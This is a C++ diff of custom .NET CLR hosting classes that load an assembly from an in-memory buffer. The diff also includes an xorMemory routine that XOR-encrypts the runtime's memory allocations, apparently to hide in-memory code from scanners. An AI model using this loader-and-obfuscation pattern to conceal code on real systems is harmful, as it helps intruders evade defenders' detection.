MyAssemblyManager::MyAssemblyManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_assemblyStore = new MyAssemblyStore();
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyManager::~MyAssemblyManager(void)
|
||||
{
|
||||
delete m_assemblyStore;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
|
||||
{
|
||||
if (--((MyAssemblyManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
|
||||
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
|
||||
{
|
||||
*ppReferenceList = NULL;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//This is responsible for returning our IHostAssemblyStore implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
|
||||
{
|
||||
*ppAssemblyStore = m_assemblyStore;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,41 +1,41 @@
|
||||
#pragma once
|
||||
#include "AssemblyStore.hpp"
|
||||
|
||||
|
||||
class MyAssemblyManager : public IHostAssemblyManager
|
||||
{
|
||||
public:
|
||||
MyAssemblyManager(void);
|
||||
~MyAssemblyManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
|
||||
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyStore->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyStore->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyStore->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyStore* m_assemblyStore;
|
||||
|
||||
#pragma once
|
||||
#include "AssemblyStore.hpp"
|
||||
|
||||
|
||||
class MyAssemblyManager : public IHostAssemblyManager
|
||||
{
|
||||
public:
|
||||
MyAssemblyManager(void);
|
||||
~MyAssemblyManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
|
||||
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyStore->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyStore->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyStore->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyStore* m_assemblyStore;
|
||||
|
||||
};
|
||||
+114
-114
@@ -1,114 +1,114 @@
|
||||
#include "AssemblyStore.hpp"
|
||||
#include <objbase.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
|
||||
MyAssemblyStore::MyAssemblyStore(void)
|
||||
{
|
||||
count = 0;
|
||||
m_targetAssembly = nullptr;
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyStore::~MyAssemblyStore(void)
|
||||
{
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyStore*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
|
||||
{
|
||||
if (--((MyAssemblyStore*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyStore*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assembly=data;
|
||||
|
||||
if(m_assemblyStream!=nullptr)
|
||||
m_assemblyStream->Release();
|
||||
|
||||
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
|
||||
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
|
||||
|
||||
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
|
||||
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
|
||||
m_id++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_targetAssembly->updateTargetAssembly(identityManager, data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
|
||||
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
|
||||
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
|
||||
|
||||
// Check if the identity of the assembly being loaded is the one we want
|
||||
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
|
||||
{
|
||||
//This isn't used for anything here so just set it to 0
|
||||
*pContext = 0;
|
||||
|
||||
UINT64 id = m_targetAssembly->getId();
|
||||
*pAssemblyId = id;
|
||||
|
||||
//Create an IStream using our in-memory assembly bytes and return it to the CLR
|
||||
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
|
||||
return S_OK;
|
||||
|
||||
}
|
||||
|
||||
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
|
||||
|
||||
// If it's not our assembly then tell the CLR to handle it
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
|
||||
// This shouldn't really get called but if it does we'll just tell the CLR to find it
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
|
||||
|
||||
//Tell the CLR to handle this
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
#include "AssemblyStore.hpp"
|
||||
#include <objbase.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
|
||||
MyAssemblyStore::MyAssemblyStore(void)
|
||||
{
|
||||
count = 0;
|
||||
m_targetAssembly = nullptr;
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyStore::~MyAssemblyStore(void)
|
||||
{
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyStore*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
|
||||
{
|
||||
if (--((MyAssemblyStore*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyStore*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assembly=data;
|
||||
|
||||
if(m_assemblyStream!=nullptr)
|
||||
m_assemblyStream->Release();
|
||||
|
||||
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
|
||||
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
|
||||
|
||||
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
|
||||
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
|
||||
m_id++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_targetAssembly->updateTargetAssembly(identityManager, data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
|
||||
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
|
||||
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
|
||||
|
||||
// Check if the identity of the assembly being loaded is the one we want
|
||||
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
|
||||
{
|
||||
//This isn't used for anything here so just set it to 0
|
||||
*pContext = 0;
|
||||
|
||||
UINT64 id = m_targetAssembly->getId();
|
||||
*pAssemblyId = id;
|
||||
|
||||
//Create an IStream using our in-memory assembly bytes and return it to the CLR
|
||||
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
|
||||
return S_OK;
|
||||
|
||||
}
|
||||
|
||||
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
|
||||
|
||||
// If it's not our assembly then tell the CLR to handle it
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
|
||||
// This shouldn't really get called but if it does we'll just tell the CLR to find it
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
|
||||
{
|
||||
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
|
||||
|
||||
//Tell the CLR to handle this
|
||||
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
@@ -1,94 +1,94 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <shlwapi.h>
|
||||
|
||||
|
||||
class TargetAssembly
|
||||
{
|
||||
public:
|
||||
TargetAssembly(void)
|
||||
{
|
||||
m_assemblyStream = nullptr;
|
||||
|
||||
m_id = 5000;
|
||||
m_assemblyInfo = (LPWSTR)malloc(4096);
|
||||
m_identityBufferSize = 4096;
|
||||
|
||||
};
|
||||
~TargetAssembly(void)
|
||||
{
|
||||
free(m_assemblyInfo);
|
||||
};
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyInfo;
|
||||
};
|
||||
|
||||
int getId()
|
||||
{
|
||||
return m_id;
|
||||
};
|
||||
|
||||
char* getAssembly()
|
||||
{
|
||||
return m_assembly.data();
|
||||
};
|
||||
|
||||
int getAssemblySize()
|
||||
{
|
||||
return m_assembly.size();
|
||||
};
|
||||
|
||||
private:
|
||||
DWORD m_identityBufferSize;
|
||||
LPWSTR m_assemblyInfo;
|
||||
|
||||
std::string m_assembly;
|
||||
|
||||
IStream* m_assemblyStream;
|
||||
|
||||
int m_id;
|
||||
};
|
||||
|
||||
|
||||
class MyAssemblyStore : public IHostAssemblyStore
|
||||
{
|
||||
public:
|
||||
MyAssemblyStore(void);
|
||||
~MyAssemblyStore(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_targetAssembly = targetAssembly;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_targetAssembly->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <shlwapi.h>
|
||||
|
||||
|
||||
class TargetAssembly
|
||||
{
|
||||
public:
|
||||
TargetAssembly(void)
|
||||
{
|
||||
m_assemblyStream = nullptr;
|
||||
|
||||
m_id = 5000;
|
||||
m_assemblyInfo = (LPWSTR)malloc(4096);
|
||||
m_identityBufferSize = 4096;
|
||||
|
||||
};
|
||||
~TargetAssembly(void)
|
||||
{
|
||||
free(m_assemblyInfo);
|
||||
};
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyInfo;
|
||||
};
|
||||
|
||||
int getId()
|
||||
{
|
||||
return m_id;
|
||||
};
|
||||
|
||||
char* getAssembly()
|
||||
{
|
||||
return m_assembly.data();
|
||||
};
|
||||
|
||||
int getAssemblySize()
|
||||
{
|
||||
return m_assembly.size();
|
||||
};
|
||||
|
||||
private:
|
||||
DWORD m_identityBufferSize;
|
||||
LPWSTR m_assemblyInfo;
|
||||
|
||||
std::string m_assembly;
|
||||
|
||||
IStream* m_assemblyStream;
|
||||
|
||||
int m_id;
|
||||
};
|
||||
|
||||
|
||||
class MyAssemblyStore : public IHostAssemblyStore
|
||||
{
|
||||
public:
|
||||
MyAssemblyStore(void);
|
||||
~MyAssemblyStore(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
|
||||
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_targetAssembly = targetAssembly;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_targetAssembly->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
};
|
||||
@@ -1,85 +1,85 @@
|
||||
#include "HostControl.hpp"
|
||||
|
||||
|
||||
MyHostControl::MyHostControl(void)
|
||||
{
|
||||
count = 0;
|
||||
|
||||
m_assemblyManager = new MyAssemblyManager();
|
||||
m_memoryManager = new MyMemoryManager();
|
||||
};
|
||||
|
||||
MyHostControl::~MyHostControl(void)
|
||||
{
|
||||
delete m_assemblyManager;
|
||||
delete m_memoryManager;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
// printf("MyHostControl_QueryInterface\n");
|
||||
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
|
||||
{
|
||||
// printf("MyHostControl_AddRef\n");
|
||||
|
||||
return(++((MyHostControl*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::Release()
|
||||
{
|
||||
// printf("MyHostControl_Release\n");
|
||||
|
||||
if (--((MyHostControl*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyHostControl*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is responsible for returning all of our manager implementations
|
||||
// If you want to disable an interface just comment out the if statement
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
|
||||
{
|
||||
// printf("MyHostControl_GetHostManager\n");
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppObject = m_memoryManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppObject = m_assemblyManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
*ppObject = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
|
||||
// //This has some fun uses left as an exercise for the reader :)
|
||||
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
|
||||
{
|
||||
// printf("MyHostControl_SetAppDomainManager\n");
|
||||
|
||||
return E_NOTIMPL;
|
||||
}
|
||||
|
||||
#include "HostControl.hpp"
|
||||
|
||||
|
||||
MyHostControl::MyHostControl(void)
|
||||
{
|
||||
count = 0;
|
||||
|
||||
m_assemblyManager = new MyAssemblyManager();
|
||||
m_memoryManager = new MyMemoryManager();
|
||||
};
|
||||
|
||||
MyHostControl::~MyHostControl(void)
|
||||
{
|
||||
delete m_assemblyManager;
|
||||
delete m_memoryManager;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
// printf("MyHostControl_QueryInterface\n");
|
||||
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
|
||||
{
|
||||
// printf("MyHostControl_AddRef\n");
|
||||
|
||||
return(++((MyHostControl*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::Release()
|
||||
{
|
||||
// printf("MyHostControl_Release\n");
|
||||
|
||||
if (--((MyHostControl*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyHostControl*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is responsible for returning all of our manager implementations
|
||||
// If you want to disable an interface just comment out the if statement
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
|
||||
{
|
||||
// printf("MyHostControl_GetHostManager\n");
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppObject = m_memoryManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppObject = m_assemblyManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
*ppObject = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
|
||||
// //This has some fun uses left as an exercise for the reader :)
|
||||
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
|
||||
{
|
||||
// printf("MyHostControl_SetAppDomainManager\n");
|
||||
|
||||
return E_NOTIMPL;
|
||||
}
|
||||
|
||||
|
||||
+115
-115
@@ -1,115 +1,115 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include "MemoryManager.hpp"
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
|
||||
|
||||
|
||||
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
|
||||
{
|
||||
DWORD start = 0;
|
||||
while (start < size)
|
||||
{
|
||||
*(address + start) ^= xorKey[start % xorKey.size()];
|
||||
start++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class MyHostControl : public IHostControl
|
||||
{
|
||||
public:
|
||||
MyHostControl(void);
|
||||
~MyHostControl(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
|
||||
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyManager->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyManager->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyManager->getAssemblyInfo();
|
||||
};
|
||||
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memoryManager->getVirtualAllocList();
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_memoryManager->getMallocList();
|
||||
}
|
||||
|
||||
int xorMemory(const std::string& xorKey)
|
||||
{
|
||||
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
|
||||
|
||||
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
|
||||
{
|
||||
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
|
||||
}
|
||||
}
|
||||
|
||||
MEMORY_BASIC_INFORMATION memInfo;
|
||||
DWORD oldProtect;
|
||||
std::vector<MemAllocEntry*> mallocList = getMallocList();
|
||||
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
|
||||
if(entry->Address)
|
||||
{
|
||||
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
|
||||
|
||||
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
|
||||
{
|
||||
if (memInfo.Protect != PAGE_READWRITE)
|
||||
{
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
|
||||
}
|
||||
else
|
||||
{
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyManager* m_assemblyManager;
|
||||
MyMemoryManager* m_memoryManager;
|
||||
|
||||
};
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include "MemoryManager.hpp"
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
|
||||
|
||||
|
||||
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
|
||||
{
|
||||
DWORD start = 0;
|
||||
while (start < size)
|
||||
{
|
||||
*(address + start) ^= xorKey[start % xorKey.size()];
|
||||
start++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class MyHostControl : public IHostControl
|
||||
{
|
||||
public:
|
||||
MyHostControl(void);
|
||||
~MyHostControl(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
|
||||
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyManager->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
